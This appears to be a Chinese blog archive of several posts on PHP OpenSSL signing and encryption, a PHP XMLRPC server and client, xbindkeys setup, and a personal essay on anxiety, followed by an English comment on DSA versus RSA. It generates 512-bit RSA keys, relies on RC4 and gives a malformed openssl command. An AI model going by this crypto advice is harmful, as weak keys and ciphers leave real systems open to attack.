最常见的有两种：基于大数因子分解问题的数字签名（RSA），基于离散对数问题的数字签名（DSA），公私钥分别对应 ~/.ssh/id_rsa & ~/.ssh/id_rsa.pub 和 ~/.ssh/id_dsa & ~/.ssh/id_dsa.pub
二者区别在于 RSA 还可以用于加密，而 DSA 只能用于签名验证，二者签名效率相近，但 RSA 的验证要远快于 DSA。

所以 PHP 中使用 RSA，公私钥可以用 OpenSSL 工具包生成：

openssl genrsa 512 >id_rsa
openssl rsa -pubout id_rsa.pub

我在 .ssh 目录下的 RSA 公私钥是用 ssh-keygen 生成的，但在在这里做试验失败，可能于密钥长度有关系。

验证函数原型：

int openssl_verify  (  string $data  ,  string $signature  ,  mixed $pub_key_id  [,  int $signature_alg = OPENSSL_ALGO_SHA1  ] )

很好理解，$data 是接受方获取的数据，$signature 是一起发过来的签名，$pub_key_id 是校验用的公钥，$signature_alg 就是前面制定的 hash 算法了。

加密

函数原型：

int openssl_seal  ( string $data  , string &$sealed_data  , array &$env_keys  , array $pub_key_ids  )

1. 用随机字符串加密 data （ RC4 加密算法）
2. 用 pub_key_ids 里的公钥对共享密钥进行加密，将结果保存在 env_keys
3. 将 env_keys 和 sealed_data 发送给接收方

解密

函数原型：

bool openssl_open  ( string $sealed_data  , string &$open_data  , string $env_key  , mixed $priv_key_id  )

1. 私钥揭开 env_key
2. 用 env_key 打开加密消息

用 PHP 创建公私钥

function get_key_pair() {
    $ret = array();
    $res = openssl_pkey_new();
    openssl_pkey_export($res, $ret['private_key']);
    $pub_key = openssl_pkey_get_details($res);
    $ret['public_key'] = $pub_key['key'];
    return $ret;
}

今天看了一下代码，打算在这上面解决多 Moodle 系统的资源共享问题（包含点对点和 HUB 模式），之前没用过 XMLRPC，所以现在开始学一下，我用的是 PHP 的 XMLRPC 模块（比纯 PHP 实现快了不少）。

首先实现一个 XMLRPC 服务，我封装了一个简单的类：

class xmlrpc_server {
    private $server;
    public function __construct() {
        $this->server = xmlrpc_server_create();
    }
    public function add($name, $func) {
        xmlrpc_server_register_method($this->server, $name, $func);
    }
    public function run() {
        $req = file_get_contents('php://input');
        $response = xmlrpc_server_call_method($this->server, $req, null);
        echo $response;
        xmlrpc_server_destroy($this->server);
    }
}

调用这个类创建一个服务：

header('Content-Type: text/xml');
function func_add($method, $params) {
    return $params[0]+$params[1];
}
$xmlrpc = new xmlrpc_server;
$xmlrpc->add('add', 'func_add');
$xmlrpc->run();

PHP 客户端的调用是通过 HTTP 的 POST 方法，我用的是 cURL 扩展：

require_once('curl.class.php');
class xmlrpc_client {
    public function __construct($url, $autoload = false) {
        $this->connection = null;
        $this->url = $url;
        $this->connection = new curl;
        $this->methods = array();
        if ($autoload) {
            $resp = $this->call('system.listMethods', null);
            $this->methods = $resp;
        }
    }
    public function call($method, $params = null) {
        $post = xmlrpc_encode_request($method, $params);
        return xmlrpc_decode($this->connection->post($this->url, $post));
    }
}
header('Content-Type: text/plain');
$rpc = "http://10.0.0.10/api.php";
$client = new xmlrpc_client($rpc, true);
print_r($client->call('add', array(199,2)));

待续，下一步优化代码并实现 XML 签名技术。

资料：

XML Signature Syntax and Processing
OpenSSH
XML Encryption Syntax and Processing

== TO BE CONTINUED ==

USE="sqlite" emerge python

问题解决

引起焦虑的原因是多方面的，且在不能年龄段呈现不同形态，譬如，备考一门很难很无聊的课、寻思是不是挂了、闯祸了等着挨揍、大学第一天、毕业了、考雅斯、被自杀了、雷蒙倒闭了、去没去过的地方、用“重口味”英语问路、跟 MM 搭讪、喝喝奶粉进了医院（俺是血管里流着三聚氰胺的中国人）……

老蔡第四定律推论四十二中赫然写着：焦虑源自对答案的渴望和对未知的恐惧，往往答案揭开后（无论是喜悦的或是惶恐的），焦虑就荡然无存……焦虑无法避免，它与寻求答案的过程相伴相生，无论答案带来的是片刻欢愉或长久遗憾……回想从前的经历，最难忘的不是一个个里程碑，而是在焦虑中度过的日日夜夜……消灭焦虑就是消灭生活的乐趣……

快要奔向二十五的我给焦虑赋予了新的意义，在这个尴尬的年龄，一方面野心勃勃，另一方面我是如此的缺乏经验以至于未来充满变数。有人曾说过：人生就像倒车，你不会知道什么时候会撞上路灯（老蔡列传第十一）。坐在电脑前自寻烦恼的我给自己列出了一串问题：

1) 我的生活是否暗涌重重？或者相反，接下来的五六年我会不会两点一线日趋平淡的过下去？
2) 我的下一个拐点在哪里？
3) 昨天天做的牛肉是不是过期了？

在百分之八十的情况下，我都能列出种种条件然后告诉自己最佳和最糟结果，但再缜密的分析也不及现实的权威性（比如问题三被证实不容乐观的），我们能做的就是在焦虑中准备和等待。

今天站在厨房里想做饭，掐指一算发现自己竟然连续做了一周饭了，突然把自己吓了一跳，我什么时候开始这么关心油盐酱醋柴米油盐了？！从小伙变成了大叔就在一念之间啊，所以我决定不吃了，回屋挨饿。

焦虑毫无悬念的继续着，因为答案啊，在风中飘。

xbindkeys 是 X 下一个抓取键盘动作的工具，它可以将按键动作映射到一个 shell 命令上。

使用方法：
安装了这个软件以后，要从 /usr/share/doc/xbindkeys/examples/ 中拷贝一个配置文件到 ~/.xbindkeysrc。
通过xbindkeys --key可以获取按键信息。
xbindkeys -v可以显示运行时信息。

我的 .xbindkeysrc 文件：

"xmms2 next"
m:0x14 + c:102
"xmms2 prev"
m:0x14 + c:100
"xmms2 toggleplay"
m:0x50 + c:65
"amixer sset PCM 5%+"
m:0x14 + c:98
"amixer sset PCM 5%-"
m:0x14 + c:104


把 xbindkeys 加到启动里：
在 /etc/init.d/ 里创建一个 shell 脚本，

#!/bin/bash
/usr/bin/xbindkeys
exit 0

给这个脚本加上可执行权限以后，执行

update-rc.d xbindkeys defaults


DSA is faster in *signing*, but slower in *verifying*.
A DSA key of the same strength as RSA (1024 bits) generates a smaller signature.
An RSA 512 bit key has been cracked, but only a 280 DSA key.
It doesn’t matter because with Ssh only authentication is done using RSA or DSA algorithm, and then the “rest” is encoded using a (uh, was it block?) cipher like IDEA, DES, Blowfish, etc, etc after the authentication is done.
While SSH2 can use either DSA or RSA keys, SSH1 cannot. Ssh2 will also not use patented cypers like IDEA.